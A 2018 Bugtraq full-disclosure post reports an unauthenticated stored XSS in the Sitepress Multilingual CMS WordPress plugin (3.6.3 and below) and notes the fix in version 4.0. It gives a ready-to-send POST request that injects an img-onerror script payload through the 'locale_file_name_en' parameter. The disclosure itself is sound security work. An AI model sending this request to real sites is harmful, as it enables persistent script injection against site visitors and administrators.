bugtraq - CVE Request: Sitepress Multilingual CMS Plugin Unauthenticated Stored XSS

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Date: Mon, 8 Oct 2018 22:09:06 +0100
From: Rahul Pratap Singh <techno.rps@...il.com>
To: bugtraq@...urityfocus.com
Subject: CVE Request: Sitepress Multilingual CMS Plugin Unauthenticated Stored
 XSS

## FULL DISCLOSURE

#Product : Sitepress Multilingual CMS Plugin
#Exploit Author : Rahul Pratap Singh
#Version : 3.6.3 and Below
#Home page Link : https://wpml.org/
#Website: https://0x62626262.wordpress.com
#Date : 08/10/2018

Unauthenticated Stored XSS Vulnerability:

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Description:
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“locale_file_name_en” parameter is not sanitized that leads to stored XSS.

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Vulnerable Code:
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https://0x62626262.files.wordpress.com/2018/09/vulnerable_code.png

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Exploit:
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Send the following POST request:

POST
/wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101
Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1

icl_post_action=save_theme_localization&locale_file_name_en=”><img src=x
onerror=alert(1)>

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POC:
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https://youtu.be/dKmUEqNiMUY

Fix:
Update to version 4.0

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